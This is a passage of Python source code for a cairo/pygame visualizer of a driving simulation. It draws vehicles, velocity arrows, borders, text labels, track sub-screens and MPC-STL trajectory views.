trajs[nidx_traj]\n size_sel = sizes[nidx_traj, :]\n rx_sel = size_sel[0]\n ry_sel = size_sel[1]\n self.draw_vehicle_border_traj(traj_sel, rx_sel, ry_sel, stepsize, hlinewidth, hcolor, op=op, sub_num=sub_num)\n\n def draw_vehicle_fill(self, data_v, ids, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws vehicles (fill).\n :param data_v: vehicle data [t x y theta v length width segment lane id] (ndarray, dim = N x 10)\n :param ids: vehicle ids (list)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n if len(data_v) > 0:\n data_v = make_numpy_array(data_v, keep_1dim=False)\n\n num_v = data_v.shape[0]\n for nidx_n in range(0, num_v):\n # Get vehicle-data\n # structure: t x y theta v length width tag_segment tag_lane id (dim = 10, width > length)\n data_v_tmp = data_v[nidx_n, :]\n\n # Get polygon-points\n pnts_v_tmp = get_pnts_carshape(data_v_tmp[1], data_v_tmp[2], data_v_tmp[3], data_v_tmp[6], data_v_tmp[5])\n\n # Set (fill) color\n if np.isin(data_v_tmp[-1], ids):\n cmap_vehicle = hcolor\n else:\n cmap_vehicle = get_rgb(\"Light Gray\")\n\n # Convert to pixel space\n if sub_num == 0:\n pnts_v_pixel = self.convert2pixel(pnts_v_tmp)\n else:\n pnts_v_pixel = self.convert2pixel_sub(pnts_v_tmp, sub_num)\n\n # Plot vehicle\n for nidx_pnt in range(0, pnts_v_pixel.shape[0]):\n pnt_tmp = pnts_v_pixel[nidx_pnt, :]\n pnt_tmp = self.snapCoords(pnt_tmp[0], pnt_tmp[1])\n if nidx_pnt == 0:\n self.ctx.move_to(pnt_tmp[0], pnt_tmp[1])\n else:\n self.ctx.line_to(pnt_tmp[0], pnt_tmp[1])\n\n pnt_0_tmp = pnts_v_pixel[0, :]\n pnt_0_tmp = self.snapCoords(pnt_0_tmp[0], pnt_0_tmp[1])\n self.ctx.line_to(pnt_0_tmp[0], pnt_0_tmp[1])\n\n # Plot (cairo)\n self.ctx.set_line_width(1)\n self.ctx.set_source_rgba(cmap_vehicle[0], cmap_vehicle[1], cmap_vehicle[2], op)\n self.ctx.fill_preserve()\n # self.ctx.set_source_rgb(0, 0, 0)\n # self.ctx.set_line_width(1)\n self.ctx.set_line_join(cairo.LINE_JOIN_ROUND)\n self.ctx.stroke()\n\n def draw_target_vehicle_fill(self, x, y, theta, rx, ry, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws target vehicle (fill).\n :param x: position-x (float)\n :param y: position-y (float)\n :param theta: heading (rad) (float)\n :param rx: length (float)\n :param ry: width (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n # Get polygon-points\n pnts_v_tmp = get_pnts_carshape(x, y, theta, rx, ry)\n\n # Convert to pixel space\n if sub_num == 0:\n pnts_v_pixel = self.convert2pixel(pnts_v_tmp)\n else:\n pnts_v_pixel = self.convert2pixel_sub(pnts_v_tmp, sub_num)\n\n # Plot vehicle\n for nidx_pnt in range(0, pnts_v_pixel.shape[0]):\n pnt_tmp = pnts_v_pixel[nidx_pnt, :]\n pnt_tmp = self.snapCoords(pnt_tmp[0], pnt_tmp[1])\n if nidx_pnt == 0:\n self.ctx.move_to(pnt_tmp[0], pnt_tmp[1])\n else:\n self.ctx.line_to(pnt_tmp[0], pnt_tmp[1])\n\n pnt_0_tmp = pnts_v_pixel[0, :]\n pnt_0_tmp = self.snapCoords(pnt_0_tmp[0], pnt_0_tmp[1])\n self.ctx.line_to(pnt_0_tmp[0], pnt_0_tmp[1])\n\n # Plot (cairo)\n self.ctx.set_line_width(1)\n self.ctx.set_source_rgba(hcolor[0], hcolor[1], hcolor[2], op)\n self.ctx.fill_preserve()\n # self.ctx.set_source_rgb(0, 0, 0)\n # self.ctx.set_line_width(1)\n self.ctx.set_line_join(cairo.LINE_JOIN_ROUND)\n self.ctx.stroke()\n\n def draw_vehicle_arrow(self, data_v, ids, lv_max, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws vehicle arrow.\n :param data_v: vehicle data [t x y theta v length width segment lane id] (ndarray, dim = N x 10)\n :param ids: vehicle ids (list)\n :param lv_max: maximum linear-velocity (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n if len(data_v) > 0:\n data_v = make_numpy_array(data_v, keep_1dim=False)\n idx_found = np.where(ids > -1)\n idx_found = idx_found[0]\n\n for nidx_d in range(0, idx_found.shape[0]):\n id_near_sel = ids[idx_found[nidx_d]]\n\n idx_tmp = np.where(data_v[:, -1] == id_near_sel)\n idx_tmp = idx_tmp[0]\n\n if len(idx_tmp) > 0:\n data_vehicle_sel = data_v[idx_tmp, :]\n data_vehicle_sel = data_vehicle_sel.reshape(-1)\n self.draw_target_vehicle_arrow(data_vehicle_sel[1], data_vehicle_sel[2], data_vehicle_sel[3],\n data_vehicle_sel[6], data_vehicle_sel[5], data_vehicle_sel[4],\n lv_max, hcolor, op, sub_num=sub_num)\n\n def draw_target_vehicle_arrow(self, x, y, theta, rx, ry, lv, lv_ref, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws target vehicle arrow.\n :param x: position x (float)\n :param y: position y (float)\n :param theta: heading (rad) (float)\n :param rx: length (float)\n :param ry: width (float)\n :param lv: linear velocity (float)\n :param lv_ref: reference linear velocity (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n ratio_lv = 0.15 + (abs(lv) / lv_ref) * 0.85\n ratio_lv = min(ratio_lv, 1.0)\n\n ax, ay = ratio_lv * rx * 0.4, ry * 0.15\n bx, by = ratio_lv * rx * 0.15, ry * 0.15\n\n # Get polygon-points\n pnts_v_tmp = get_pnts_arrow(x, y, theta, ax, ay, bx, by)\n\n # Convert to pixel space\n if sub_num == 0:\n pnts_v_pixel = self.convert2pixel(pnts_v_tmp)\n else:\n pnts_v_pixel = self.convert2pixel_sub(pnts_v_tmp, sub_num)\n\n # Plot vehicle\n for nidx_pnt in range(0, pnts_v_pixel.shape[0]):\n pnt_tmp = pnts_v_pixel[nidx_pnt, :]\n pnt_tmp = self.snapCoords(pnt_tmp[0], pnt_tmp[1])\n if nidx_pnt == 0:\n self.ctx.move_to(pnt_tmp[0], pnt_tmp[1])\n else:\n self.ctx.line_to(pnt_tmp[0], pnt_tmp[1])\n\n pnt_0_tmp = pnts_v_pixel[0, :]\n pnt_0_tmp = self.snapCoords(pnt_0_tmp[0], pnt_0_tmp[1])\n self.ctx.line_to(pnt_0_tmp[0], pnt_0_tmp[1])\n\n # Plot (cairo)\n self.ctx.set_line_width(1)\n self.ctx.set_source_rgba(hcolor[0], hcolor[1], hcolor[2], op)\n self.ctx.set_line_join(cairo.LINE_JOIN_ROUND)\n self.ctx.fill()\n\n def draw_vehicle_border(self, data_v, ids, hlw, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws vehicle border.\n :param data_v: vehicle data [t x y theta v length width segment lane id] (dim = N x 10)\n :param ids: vehicle ids (list)\n :param hlw: linewidth (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n if len(data_v) > 0:\n data_v = make_numpy_array(data_v, keep_1dim=False)\n len_id = len(ids)\n\n for nidx_d in range(0, len_id):\n id_tmp = ids[nidx_d]\n # if id_tmp == -1:\n # continue\n\n idx_found_ = np.where(data_v[:, -1] == id_tmp)\n idx_found = idx_found_[0]\n\n if len(idx_found) > 0:\n data_vehicle_sel = data_v[idx_found[0], :]\n self.draw_target_vehicle_border(data_vehicle_sel[1], data_vehicle_sel[2], data_vehicle_sel[3],\n data_vehicle_sel[6], data_vehicle_sel[5], hlw, hcolor, op=op,\n sub_num=sub_num)\n\n def draw_target_vehicle_border(self, x, y, theta, rx, ry, hlw, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws target vehicle border.\n :param x: position x (float)\n :param y: position y (float)\n :param theta: heading (rad) (float)\n :param rx: length (float)\n :param ry: width (float)\n :param hlw: linewidth (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n # Get polygon-points\n pnts_vehicle_tmp = get_pnts_carshape(x, y, theta, rx, ry)\n\n # Convert to pixel space\n if sub_num == 0:\n pnts_vehicle_pixel = self.convert2pixel(pnts_vehicle_tmp)\n else:\n pnts_vehicle_pixel = self.convert2pixel_sub(pnts_vehicle_tmp, sub_num)\n\n # Plot vehicle\n for nidx_pnt in range(0, pnts_vehicle_pixel.shape[0]):\n pnt_tmp = pnts_vehicle_pixel[nidx_pnt, :]\n pnt_tmp = self.snapCoords(pnt_tmp[0], pnt_tmp[1])\n if nidx_pnt == 0:\n self.ctx.move_to(pnt_tmp[0], pnt_tmp[1])\n else:\n self.ctx.line_to(pnt_tmp[0], pnt_tmp[1])\n\n pnt_0_tmp = pnts_vehicle_pixel[0, :]\n pnt_0_tmp = self.snapCoords(pnt_0_tmp[0], pnt_0_tmp[1])\n self.ctx.line_to(pnt_0_tmp[0], pnt_0_tmp[1])\n\n # Plot (cairo)\n self.ctx.set_line_width(hlw)\n self.ctx.set_source_rgba(hcolor[0], hcolor[1], hcolor[2], op)\n self.ctx.set_line_join(cairo.LINE_JOIN_ROUND)\n self.ctx.stroke()\n\n def draw_text(self, pnt, txt, fontsize, hcolor, is_bold=0, sub_num=0):\n \"\"\" Draws target vehicle border.\n :param pnt: point (dim = 2, 1 x 2)\n :param txt: text (string)\n :param fontsize: font-size (float)\n :param hcolor: rgb color (tuple)\n :param is_bold: whether font is bold (boolean)\n :param sub_num: sub-plot number (int)\n \"\"\"\n pnt = make_numpy_array(pnt, keep_1dim=True)\n pnt = pnt[0:2]\n pnt = np.reshape(pnt, (1, 2))\n\n # Convert to pixel space\n if sub_num == 0:\n pnt_sel_conv = self.convert2pixel(pnt)\n else:\n pnt_sel_conv = self.convert2pixel_sub(pnt, sub_num)\n pnt_sel_conv = self.snapCoords(pnt_sel_conv[0, 0], pnt_sel_conv[0, 1])\n\n # Set color\n self.ctx.set_source_rgb(hcolor[0], hcolor[1], hcolor[2])\n\n # Is bold\n if is_bold:\n cairo_bold = cairo.FONT_WEIGHT_BOLD\n else:\n cairo_bold = cairo.FONT_WEIGHT_NORMAL\n\n self.ctx.select_font_face(\"Courier\", cairo.FONT_SLANT_NORMAL, cairo_bold)\n self.ctx.set_font_size(fontsize)\n self.ctx.move_to(pnt_sel_conv[0], pnt_sel_conv[1])\n self.ctx.show_text(txt)\n\n def draw_texts_nearby(self, data_ev, data_ov, id_near, fontsize, hcolor, is_bold=0, sub_num=0):\n \"\"\"\n Draws nearby vehicle txt-info.\n :param data_ev: ego vehicle data (dim = 10)\n :param data_ov: other vehicle data (dim = N x 10)\n :param id_near: near vehicle ids (id_lf, id_lr, id_rf, id_rr, id_cf, id_cr) (dim = 6)\n :param fontsize: font-size (float)\n :param hcolor: rgb color (tuple)\n :param is_bold: whether font is bold (boolean)\n :param sub_num: sub-plot number (int)\n \"\"\"\n self.draw_text(data_ev[1:3], 'ev', fontsize, hcolor, is_bold=is_bold, sub_num=sub_num)\n txts_ov = ['lf', 'lr', 'rf', 'rr', 'cf', 'cr']\n for nidx_ov in range(0, 6):\n if id_near[nidx_ov] == -1:\n continue\n else:\n idx_found_tmp = np.where(data_ov[:, -1] == id_near[nidx_ov])\n idx_found_tmp = idx_found_tmp[0]\n pnt_ov_sel = data_ov[idx_found_tmp, 1:3]\n txts_ov_sel = txts_ov[nidx_ov]\n self.draw_text(pnt_ov_sel, txts_ov_sel, fontsize, hcolor, is_bold=is_bold, sub_num=sub_num)\n\n # -----------------------------------------------------------------------------------------------------------------#\n # SUB-SCREEN (UPPER-RIGHT QUADRANT) -------------------------------------------------------------------------------#\n # -----------------------------------------------------------------------------------------------------------------#\n # SET PARAMETERS (SUB) --------------------------------------------------------------------------------------------#\n def set_screen_size_sub(self, screen_size, sub_num=1):\n \"\"\" Sets (sub) screen size.\n :param screen_size: screen size (tuple, dim = 2)\n :param sub_num: sub-plot number (int)\n \"\"\"\n if sub_num == 1:\n self.screen_size_sub = screen_size\n else:\n self.screen_size_sub_2 = screen_size\n\n def set_screen_height_sub(self, height, sub_num=1):\n \"\"\" Sets (sub) screen height.\n :param height: screen height (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n\n if sub_num == 1:\n ratio_hegiht2width = (self.pnt_max_sub[0] - self.pnt_min_sub[0]) / (\n self.pnt_max_sub[1] - self.pnt_min_sub[1])\n self.screen_size_sub = [ratio_hegiht2width * height, height]\n else:\n ratio_hegiht2width = (self.pnt_max_sub_2[0] - self.pnt_min_sub_2[0]) / (\n self.pnt_max_sub_2[1] - self.pnt_min_sub_2[1])\n self.screen_size_sub_2 = [ratio_hegiht2width * height, height]\n\n def set_pnts_range_sub(self, pnt_min, pnt_max, sub_num=1):\n \"\"\" Sets (sub) range.\n :param pnt_min: min point (list or ndarray, dim = 2)\n :param pnt_max: max point (list or ndarray, dim = 2)\n :param sub_num: sub-plot number (int)\n \"\"\"\n\n if sub_num == 1:\n self.pnt_min_sub = pnt_min\n self.pnt_max_sub = pnt_max\n else:\n self.pnt_min_sub_2 = pnt_min\n self.pnt_max_sub_2 = pnt_max\n\n def set_screen_alpha_sub(self, sub_num=1):\n \"\"\" Sets (sub) screen alpha.\n :param sub_num: sub-plot number (int)\n \"\"\"\n\n if sub_num == 1:\n if len(self.pnt_min_sub) > 0 and len(self.pnt_max_sub) > 0:\n alpha1 = self.screen_size_sub[0] / (self.pnt_max_sub[0] - self.pnt_min_sub[0])\n alpha2 = self.screen_size_sub[1] / (self.pnt_max_sub[1] - self.pnt_min_sub[1])\n else:\n alpha1, alpha2 = 1.0, 1.0\n self.screen_alpha_sub = min(alpha1, alpha2)\n else:\n if len(self.pnt_min_sub_2) > 0 and len(self.pnt_max_sub_2) > 0:\n alpha1 = self.screen_size_sub_2[0] / (self.pnt_max_sub_2[0] - self.pnt_min_sub_2[0])\n alpha2 = self.screen_size_sub_2[1] / (self.pnt_max_sub_2[1] - self.pnt_min_sub_2[1])\n else:\n alpha1, alpha2 = 1.0, 1.0\n self.screen_alpha_sub_2 = min(alpha1, alpha2)\n\n def set_pnts_range_wrt_mean_sub(self, pnt_mean, sub_num=1):\n \"\"\" Sets range w.r.t. mean (sub).\n :param pnt_mean: point (dim = 2)\n :param sub_num: sub-plot number (int)\n \"\"\"\n if sub_num == 1:\n screen_alpha_sub = self.screen_alpha_sub\n screen_size_sub = self.screen_size_sub\n else:\n screen_alpha_sub = self.screen_alpha_sub_2\n screen_size_sub = self.screen_size_sub_2\n\n screen_size_tmp = np.array(screen_size_sub)\n pnt_range = screen_size_tmp / screen_alpha_sub\n\n if sub_num == 1:\n self.pnt_min_sub = pnt_mean - pnt_range / 2.0\n self.pnt_max_sub = pnt_mean + pnt_range / 2.0\n else:\n self.pnt_min_sub_2 = pnt_mean - pnt_range / 2.0\n self.pnt_max_sub_2 = pnt_mean + pnt_range / 2.0\n\n def set_quadrant_number_sub(self, quadrant_number, sub_num=1):\n \"\"\" Sets (sub) quadrant number.\n :param quadrant_number: 1, 2, 3, 4\n :param sub_num: sub-plot number (int)\n \"\"\"\n if sub_num == 1:\n self.quadrant_number_sub = quadrant_number\n else:\n self.quadrant_number_sub_2 = quadrant_number\n\n # UTILS (SUB) -----------------------------------------------------------------------------------------------------#\n def convert2pixel_sub(self, pnts, sub_num=1):\n \"\"\" Converts points from Euclidean space to pixel space (sub).\n :param pnts: points (dim = N x 2)\n :param sub_num: sub-plot number (int)\n \"\"\"\n if sub_num == 1:\n pnt_min_sub, pnt_max_sub = self.pnt_min_sub, self.pnt_max_sub\n screen_alpha_sub = self.screen_alpha_sub\n screen_size_sub = self.screen_size_sub\n quadrant_number_sub = self.quadrant_number_sub\n else:\n pnt_min_sub, pnt_max_sub = self.pnt_min_sub_2, self.pnt_max_sub_2\n screen_alpha_sub = self.screen_alpha_sub_2\n screen_size_sub = self.screen_size_sub_2\n quadrant_number_sub = self.quadrant_number_sub_2\n\n pnts = make_numpy_array(pnts, keep_1dim=False)\n\n num_pnts = pnts.shape[0]\n pnts_conv = np.zeros((num_pnts, 2), dtype=np.float32)\n\n pnts_conv[:, 0] = pnts[:, 0] - np.repeat(pnt_min_sub[0], num_pnts, axis=0)\n pnts_conv[:, 1] = np.repeat(pnt_max_sub[1], num_pnts, axis=0) - pnts[:, 1]\n\n pnts_conv = pnts_conv * screen_alpha_sub\n\n ratio_hegiht2width = (pnt_max_sub[0] - pnt_min_sub[0]) / (pnt_max_sub[1] - pnt_min_sub[1])\n width_sub_tmp = screen_size_sub[0] - (ratio_hegiht2width * screen_size_sub[1])\n\n if quadrant_number_sub == 1:\n pnt_move = [1, 1]\n elif quadrant_number_sub == 2:\n pnt_move = [self.screen_size[0] - screen_size_sub[0] + width_sub_tmp - 1, 1]\n elif quadrant_number_sub == 3:\n pnt_move = [self.screen_size[0] - screen_size_sub[0] + width_sub_tmp - 1,\n self.screen_size[1] - screen_size_sub[1] - 1]\n elif quadrant_number_sub == 4:\n pnt_move = [1, self.screen_size[1] - screen_size_sub[1] - 1]\n else:\n pnt_move = [0, 0]\n\n pnts_conv[:, 0] = pnts_conv[:, 0] + pnt_move[0]\n pnts_conv[:, 1] = pnts_conv[:, 1] + pnt_move[1]\n\n return pnts_conv\n\n # DRAW (SUB) ------------------------------------------------------------------------------------------------------#\n def draw_background_sub(self, hcolor, hlw, sub_num=1):\n \"\"\" Draws background (sub).\n :param hcolor: rgb color (tuple)\n :param hlw: linewidth (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n if sub_num == 1:\n pnt_min_sub, pnt_max_sub = self.pnt_min_sub, self.pnt_max_sub\n else:\n pnt_min_sub, pnt_max_sub = self.pnt_min_sub_2, self.pnt_max_sub_2\n\n traj = np.zeros((5, 2), dtype=np.float32)\n traj[0, :] = [pnt_min_sub[0], pnt_min_sub[1]]\n traj[1, :] = [pnt_max_sub[0], pnt_min_sub[1]]\n traj[2, :] = [pnt_max_sub[0], pnt_max_sub[1]]\n traj[3, :] = [pnt_min_sub[0], pnt_max_sub[1]]\n traj[4, :] = [pnt_min_sub[0], pnt_min_sub[1]]\n self.draw_traj(traj, hlw, hcolor, sub_num=sub_num)\n\n def draw_track_sub(self, is_black=0, sub_num=1):\n \"\"\" Draws track (sub).\n :param is_black: whether to plot black theme (boolean)\n :param sub_num: sub-plot number (int)\n \"\"\"\n if is_black == 1:\n hcolor_track = get_rgb(\"Dark Gray\")\n else:\n hcolor_track = get_rgb(\"Gray\")\n\n # Convert to pixel space\n pnts_pixel_track = []\n num_lane_seg = 0 # number of lane-segment\n for nidx_seg in range(0, len(self.pnts_poly_track)):\n seg_sel = self.pnts_poly_track[nidx_seg]\n\n pnts_pixel_seg = []\n for nidx_lane in range(0, len(seg_sel)):\n num_lane_seg = num_lane_seg + 1\n pnts_tmp = seg_sel[nidx_lane]\n pnts_conv_tmp = self.convert2pixel_sub(pnts_tmp, sub_num)\n pnts_pixel_seg.append(pnts_conv_tmp)\n\n pnts_pixel_track.append(pnts_pixel_seg)\n\n # Plot track\n for nidx_seg in range(0, len(pnts_pixel_track)):\n pnts_pixel_seg = pnts_pixel_track[nidx_seg]\n\n # Plot lane-segment\n for nidx_lane in range(0, len(pnts_pixel_seg)):\n # Pnts on lane-segment\n pnts_pixel_lane = pnts_pixel_seg[nidx_lane]\n\n for nidx_pnt in range(0, pnts_pixel_lane.shape[0]):\n pnt_tmp = pnts_pixel_lane[nidx_pnt, :]\n pnt_tmp = self.snapCoords(pnt_tmp[0], pnt_tmp[1])\n if nidx_pnt == 0:\n self.ctx.move_to(pnt_tmp[0], pnt_tmp[1])\n else:\n self.ctx.line_to(pnt_tmp[0], pnt_tmp[1])\n\n pnt_0_tmp = pnts_pixel_lane[0, :]\n pnt_0_tmp = self.snapCoords(pnt_0_tmp[0], pnt_0_tmp[1])\n self.ctx.line_to(pnt_0_tmp[0], pnt_0_tmp[1])\n\n # Plot (cairo)\n self.ctx.set_line_width(0.3)\n self.ctx.set_source_rgb(hcolor_track[0], hcolor_track[1], hcolor_track[2])\n self.ctx.fill_preserve()\n self.ctx.set_source_rgb(0, 0, 0)\n self.ctx.set_line_width(0.3)\n self.ctx.set_line_join(cairo.LINE_JOIN_ROUND)\n self.ctx.stroke()\n\n # -----------------------------------------------------------------------------------------------------------------#\n # DRAW-BASIC ------------------------------------------------------------------------------------------------------#\n # -----------------------------------------------------------------------------------------------------------------#\n def draw_basic(self, pnt_ref):\n \"\"\" Draws track.\n :param pnt_ref: reference point (x, y) (ndarray)\n \"\"\"\n pygame.event.get()\n\n # Clear screen\n if self.is_black == 1:\n txt_backcolor = \"Black\"\n else:\n txt_backcolor = \"White Smoke\"\n self.draw_background(txt_backcolor)\n\n # Set middle point of window\n if self.screen_mode == 1:\n pnt_m_plot = np.array([pnt_ref[0], pnt_ref[1]], dtype=np.float32)\n self.set_pnts_range_wrt_mean(pnt_m_plot)\n\n self.draw_track(is_black=self.is_black) # Draw track\n\n def draw_basic_sub(self):\n \"\"\" Draws track (sub). \"\"\"\n if self.is_black == 1:\n txt_subtrackcolor = \"White Smoke\"\n else:\n txt_subtrackcolor = \"Black\"\n\n self.draw_background_sub(get_rgb(txt_subtrackcolor), 1.5, sub_num=1)\n self.draw_track_sub(is_black=self.is_black, sub_num=1)\n if len(self.pnts_goal) > 0:\n self.draw_pnts(self.pnts_goal, 1.0, get_rgb(\"Yellow\"), sub_num=1)\n\n def draw_basic_sub_mpcstl(self, pnt_ref, sim_mpcstl, traj_computed, rmin_l_d=0, rmin_l_u=0, sub_num=2):\n \"\"\" Draws track (sub, mpc-stl). \"\"\"\n if self.is_black == 1:\n txt_subtrackcolor = \"White Smoke\"\n else:\n txt_subtrackcolor = \"Black\"\n\n # Set basic setting\n pnt_m_plot = np.array([pnt_ref[0], pnt_ref[1]], dtype=np.float32)\n self.set_pnts_range_wrt_mean_sub(pnt_m_plot, sub_num=sub_num)\n self.draw_background_sub(get_rgb(txt_subtrackcolor), 1.5, sub_num=sub_num)\n\n # Get data from sim_mpcstl\n traj_ov_cf = sim_mpcstl.traj_ov_cf[:, 0:2]\n size_ov_cf = sim_mpcstl.size_ov_cf\n traj_ov = sim_mpcstl.traj_ov\n size_ov = sim_mpcstl.size_ov\n xinit_conv = sim_mpcstl.xinit_conv[0:2]\n xgoal_conv = sim_mpcstl.xgoal_conv[0:2]\n cp_l_d, cp_l_u = sim_mpcstl.cp_l_d, sim_mpcstl.cp_l_u\n rx, ry = sim_mpcstl.rx, sim_mpcstl.ry\n id_near = sim_mpcstl.id_ov_near\n id_cf, id_rest = id_near[4], id_near[[0, 1, 2, 3, 5]]\n\n pnt_min, pnt_max = self.pnt_min_sub_2, self.pnt_max_sub_2\n\n # Set range\n traj_computed = set_traj_in_range(traj_computed[:, 0:2], pnt_min, pnt_max)\n traj_ov_cf = set_traj_in_range(traj_ov_cf[:, 0:2], pnt_min, pnt_max)\n for nidx_ov in range(0, 5):\n traj_ov_sel = traj_ov[nidx_ov]\n traj_ov_sel_out = set_traj_in_range(traj_ov_sel[:, 0:2], pnt_min, pnt_max)\n traj_ov[nidx_ov] = traj_ov_sel_out\n\n # Draw lines -----------------------------------------------------------------------------#\n xtmp = np.arange(start=pnt_min[0], stop=pnt_max[0], step=0.5)\n len_xtmp = xtmp.shape[0]\n y_lower = (cp_l_d[1]) * np.ones((len_xtmp,), dtype=np.float32)\n y_upper = (cp_l_u[1]) * np.ones((len_xtmp,), dtype=np.float32)\n ytraj_lower = np.concatenate((xtmp.reshape(-1, 1), y_lower.reshape(-1, 1)), axis=1)\n ytraj_upper = np.concatenate((xtmp.reshape(-1, 1), y_upper.reshape(-1, 1)), axis=1)\n self.draw_traj_dashed(ytraj_lower, 3, sim_mpcstl.hcolor_lane_d, sub_num=sub_num)\n self.draw_traj_dashed(ytraj_upper, 3, sim_mpcstl.hcolor_lane_u, sub_num=sub_num)\n\n y_lower_mod = (cp_l_d[1] + rmin_l_d) * np.ones((len_xtmp,), dtype=np.float32)\n y_upper_mod = (cp_l_u[1] - rmin_l_u) * np.ones((len_xtmp,), dtype=np.float32)\n ytraj_lower_mod = np.concatenate((xtmp.reshape(-1, 1), y_lower_mod.reshape(-1, 1)), axis=1)\n ytraj_upper_mod = np.concatenate((xtmp.reshape(-1, 1), y_upper_mod.reshape(-1, 1)), axis=1)\n self.draw_traj(ytraj_lower_mod, 1.5, get_color_blurred(sim_mpcstl.hcolor_lane_d, 0.8), op=0.8, sub_num=sub_num)\n self.draw_traj(ytraj_upper_mod, 1.5, get_color_blurred(sim_mpcstl.hcolor_lane_u, 0.8), op=0.8, sub_num=sub_num)\n\n # Draw other vehicles ([id_lf, id_lr, id_rf, id_rr, id_cr]) ------------------------------#\n color_ov = [get_rgb('Crimson'), get_rgb('Dark Red'), get_rgb('Lawn Green'), get_rgb('Forest Green'),\n get_rgb('Dark Cyan')]\n for nidx_ov in range(0, 5):\n traj_ov_sel = traj_ov[nidx_ov]\n size_ov_sel = size_ov[nidx_ov]\n hcolor_ov_sel = color_ov[nidx_ov]\n if len(traj_ov_sel) > 0:\n self.draw_traj(traj_ov_sel[:, 0:2], 2.5, hcolor_ov_sel, sub_num=sub_num)\n self.draw_pnt(traj_ov_sel[0, 0:2], 5, hcolor_ov_sel, is_fill=True, sub_num=sub_num)\n self.draw_box(traj_ov_sel[0, 0], traj_ov_sel[0, 1], size_ov_sel[0, 0], size_ov_sel[0, 1], 3.0,\n hcolor_ov_sel, sub_num=sub_num)\n self.draw_box(traj_ov_sel[-1, 0], traj_ov_sel[-1, 1], size_ov_sel[-1, 0], size_ov_sel[-1, 1], 1.5,\n hcolor_ov_sel, sub_num=sub_num)\n\n # Draw other vehicles ([id_cf]) ----------------------------------------------------------#\n if len(traj_ov_cf) > 0:\n hcolor_cf = get_rgb('Gold')\n self.draw_traj(traj_ov_cf[:, 0:2], 2.5, hcolor_cf, sub_num=sub_num)\n self.draw_pnt(traj_ov_cf[0, 0:2], 5, hcolor_cf, is_fill=True, sub_num=sub_num)\n # self.draw_target_vehicle_fill(traj_ov_cf[0, 0], traj_ov_cf[0, 1], 0.0, size_ov_cf[0, 0], size_ov_cf[0, 1],\n # get_color_blurred(hcolor_cf), sub_num=sub_num)\n self.draw_box(traj_ov_cf[0, 0], traj_ov_cf[0, 1], size_ov_cf[0, 0], size_ov_cf[0, 1], 3.0, hcolor_cf,\n sub_num=sub_num)\n self.draw_box(traj_ov_cf[-1, 0], traj_ov_cf[-1, 1], size_ov_cf[-1, 0], size_ov_cf[-1, 1], 1.5, hcolor_cf,\n sub_num=sub_num)\n\n # Draw ego-vehicle -----------------------------------------------------------------------#\n hcolor_ev = get_rgb('Dark Pastel Blue')\n hcolor_ev_blurred = get_color_blurred(hcolor_ev)\n self.draw_target_vehicle_fill(xinit_conv[0], xinit_conv[1], 0.0, rx, ry, hcolor_ev_blurred, sub_num=2)\n self.draw_traj(traj_computed[:, 0:2], 3.0, hcolor_ev, sub_num=sub_num)\n self.draw_pnt(traj_computed[0, 0:2], 5, hcolor_ev, is_fill=True, sub_num=sub_num)\n self.draw_box(traj_computed[0, 0], traj_computed[0, 1], rx, ry, 3.0, hcolor_ev, sub_num=sub_num)\n self.draw_box(traj_computed[-1, 0], traj_computed[-1, 1], rx, ry, 1.5, hcolor_ev, sub_num=sub_num)\n\n self.draw_pnt(xgoal_conv[0:2], 5, get_rgb('Red'), is_fill=False, sub_num=sub_num)\n\n # Draw text ------------------------------------------------------------------------------#\n fontsize_txt = 20\n hcolor_txt = get_rgb('White') if self.is_black else get_rgb('Black')\n self.draw_text(xinit_conv[0:2], 'ev', fontsize_txt, hcolor_txt, is_bold=1, sub_num=sub_num)\n\n if id_cf > 0:\n if len(traj_ov_cf) > 0:\n self.draw_text(traj_ov_cf[0, 0:2], 'cf', fontsize_txt, hcolor_txt, is_bold=1, sub_num=sub_num)\n\n txt_ov = ['lf', 'lr', 'rf', 'rr', 'cr']\n for nidx_ov in range(0, 5):\n traj_ov_sel = traj_ov[nidx_ov]\n if id_rest[nidx_ov] > 0 and len(traj_ov_sel) > 0:\n self.draw_text(traj_ov_sel[0, 0:2], txt_ov[nidx_ov], fontsize_txt, hcolor_txt, is_bold=1,\n sub_num=sub_num)\n\n # -----------------------------------------------------------------------------------------------------------------#\n # DRAW-CONTROL ----------------------------------------------------------------------------------------------------#\n # -----------------------------------------------------------------------------------------------------------------#\n def draw_ctrl_basic(self, data_ev_cur, data_ov_cur, id_ev, id_near, id_rest, traj_ev, traj_hist_ev,\n traj_ov_near, size_ov_near, v_arrow,\n traj_array_ev=None, costtraj_array_ev=None, inv_idxtraj_array_ev=None, hcolor_map_ev=\"cool\",\n hcolor_reverse_ev=False,\n predtraj_ov=None, size_ov_gt=None):\n # Color setting\n hcolor_fill_ev = get_rgb(\"Crayola\")\n hcolor_fill_ovsel, hcolor_fill_rest = get_rgb(\"Salmon\"), get_rgb(\"Dark Gray\")\n hcolor_arrow_sel, hcolor_arrow_rest = get_rgb(\"White\"), get_rgb(\"Dark Gray\")\n hcolor_border_ev = get_rgb(\"Han Blue\")\n hcolor_border_ovsel, hcolor_border_ovrest = get_rgb(\"Dark Pastel Red\"), get_rgb(\"Dim Gray\")\n\n hcolor_traj_ev, hcolor_traj_ov = get_rgb(\"Han Blue\"), get_rgb(\"Indian Red\")\n hcolor_border_traj_ev = get_rgb(\"Corn Flower Blue\")\n hcolor_hist_traj_ev 